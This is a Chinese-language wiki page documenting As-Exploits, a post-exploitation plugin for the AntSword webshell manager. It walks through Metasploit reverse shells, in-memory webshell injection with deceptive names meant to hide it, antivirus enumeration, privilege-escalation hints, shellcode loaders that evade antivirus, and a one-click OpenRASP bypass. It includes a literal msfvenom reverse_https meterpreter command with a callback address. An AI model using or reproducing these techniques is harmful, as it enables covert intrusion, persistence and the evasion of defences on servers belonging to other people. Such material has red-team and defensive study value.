Skip to content
yzddmr6 edited this page Jul 25, 2021 · 3 revisions

As-Exploits 模块介绍 (v1.4)

基本信息

获取当前服务端信息。

支持类型:php/jsp/aspx

php

img

jsp

img

aspx

img

反弹Shell

跟MSF联动

支持类型:php/jsp/aspx

Payload目前支持以下类型:

  • java/meterpreter/reverse_tcp

  • java/shell/reverse_tcp

  • java/meterpreter/bind_tcp

  • java/shell/bind_tcp

  • php/meterpreter/reverse_tcp

  • php/shell/reverse_tcp

  • php/meterpreter/bind_tcp

  • php/shell/bind_tcp

  • windows/meterpreter/reverse_tcp

  • windows/x64/meterpreter/reverse_tcp img

内存马注入

一键打入内存Webshell由于时间仓促,目前仅支持Servlet型内存马,支持Servlet/Filter型内存马

支持类型:jsp/aspx

JSP

可打入的内存马种类:

  • AntSword

  • Behinder

  • Godzilla-Base64

  • Neo-reGeorg 组件名称为注册的组件名称,可以起一个具有迷惑性的名字来隐藏自己。 image.png

例如:

打入Godzilla-Base64内存马

img

在哥斯拉中连接成功

img

ASPX

aspx内存马主要原理是利用了asp.net下虚拟文件的特性

通过ASP.NET的VirtualPathProvider类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.netGhostWebShell.cs提供了一种可供学习的利用思路。

可以直接定义要注入的shell内容,默认为普通一句话,当然也可以改成冰蝎哥斯拉之类的。

img

注入内存马

img

连接的时候可以把注入的路径后面加点随机字符串,当作一个文件

img

也可以把注入的路径当作一个目录,在目录下面填写随机文件名

要注意的是必须要用.aspx结尾,因为映射的是一个文件,所以要用指定的后缀才能解析。

暂时不支持通配符模式

img

内存马管理

获取当前注入的内存马列表,并卸载指定内存马。

支持类型:jsp/aspx

JSP

默认支持Tomcat/Spring

  • 获取所有组件(Servlet+Filter)
  • 卸载指定Servlet
  • 卸载指定Filter

从1.4版本开始,内存马管理模块核心payload移植了tomcat-memshell-killer的代码,界面更加清晰美观。

img

还可以贴心的判断有没有其他人的内存马

img

卸载内存马填入对应组件名称即可

img

ASPX

VirtualPathProvider主要用到了类似单向链表的结构,不像Tomcat的内存马有一个Config去定义。获取所有组件需要遍历链表,卸载的时候需要修改当前指针指向来删除节点。

img

卸载指定VPP

img

再次获取组件发现内存马已经被删除。

img

剩下的这个System.Web.Hosting.MapPathBasedVirtualPathProvider是IIS默认组件,删除之后网站会崩,请慎重操作。

杀软识别

数据来源是key师傅的项目:avList

通过tasklist /svc获取当前进程列表,识别出其中的杀软。

支持类型:php/jsp/aspx

目前支持手动跟自动两种获取方式:

  • 自动获取 自动执行tasklist /svc并分析回显数据。
  • 手动获取 手动输入tasklist /svc的结果。 img

提权辅助

通过systeminfo来获取补丁信息,从而给出提权建议。

支持类型:php/jsp/aspx

同样支持手动跟自动两种获取方式。

img

屏幕截图

获取目标当前屏幕截图。

支持类型:jsp/aspx

img

ShellCode加载器

加载shellcode至内存运行。(shellcode为hex格式,且不能有多余空格或换行)

支持类型:aspx/jsp

ASPX

以msf为例:msfvenom生成hex格式的shellcode

img

粘贴进输入框,点击exploit

img

收到Meterpreter会话

img

JSP

内置两种加载方式,使用之前请务必认真阅读使用说明,否则可能直接将Java进程打挂。

img

需要注意两点:

  • 使用MSF需要加上PrependMigrate=true PrependMigrateProc=xxxx.exe参数,自动迁移到新的进程,否则会在migrate/exit的时候把Java进程给干掉,导致网站瘫痪。例如:msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.88.129 LPORT=8888 PrependMigrate=true PrependMigrateProc=svchost.exe -f hex
  • JNA方式只需要X86类型的ShellCode即可,而Attach方式需要根据目标Java位数来选择对应的ShellCode。

JNA

利用第三方库JNA进行ShellCode的加载。

适用范围:JDK>=1.5

  1. 首先利用Jar加载器将ShellCodeLoader.jar上传到目标服务器目录并加载。

  2. 使用MSF或者CS生成x86类型的shellcode,并开启监听。

  3. 在ShellCode加载器模块,输入hex或者java格式的shellcode,且不能有多余换行跟空格。

  4. 点击exploit,等待返回回话。

Attach

模拟java agent注入过程来实现Shellcode的加载。这个native方法是jdk自带的,并且经过oracle签名的,免杀效果更好。

适用范围:JDK>=1.6

  1. 基本信息,exploit,Ctrl+F 搜索 sun.arch.data.model,查看java位数

  2. 根据java位数生成对应位数的shellcode,并开启监听。

  3. 在ShellCode加载器模块,输入hex或者java格式的shellcode,且不能有多余换行跟空格。

  4. 点击exploit,等待返回回话。

Jar加载器

加载Jar到JVM内存中。可用于上传数据库驱动等。

支持类型:jsp

内存加载

直接通过HTTP包将Jar打入目标内存,仅需选择本地需要上传的Jar文件即可,期间文件不落地。但是Tomcat默认POST最大上传大小为2M,如果超过了此大小请选择手动上传模式。

img

手动上传

先手动将Jar上传到目标服务器上,然后通过路径加载。

img

Bypass OpenRASP

借鉴自哥斯拉的插件:Godzilla-BypassOpenRasp

一键绕过OpenRASP

支持类型:jsp

目标安装有OpenRASP且开启命令执行拦截

img

exploit!

img

再次运行,即可执行命令

img

自定义脚本执行

执行自定义代码,方便调试。

支持类型:php/jsp/aspx

jsp

在JSP下需要填写base64格式的编译后的class文件

img

格式按照https://github.com/AntSwordProject/AntSword-JSP-Template项目去编写即可,这里以baseinfo为例:

img

aspx

aspx下填写jscript代码。

如果想要调用C#的payload看我博客这篇文章:https://yzddmr6.tk/posts/jscript-load-csharp-assembly/

img

php

直接写php代码

img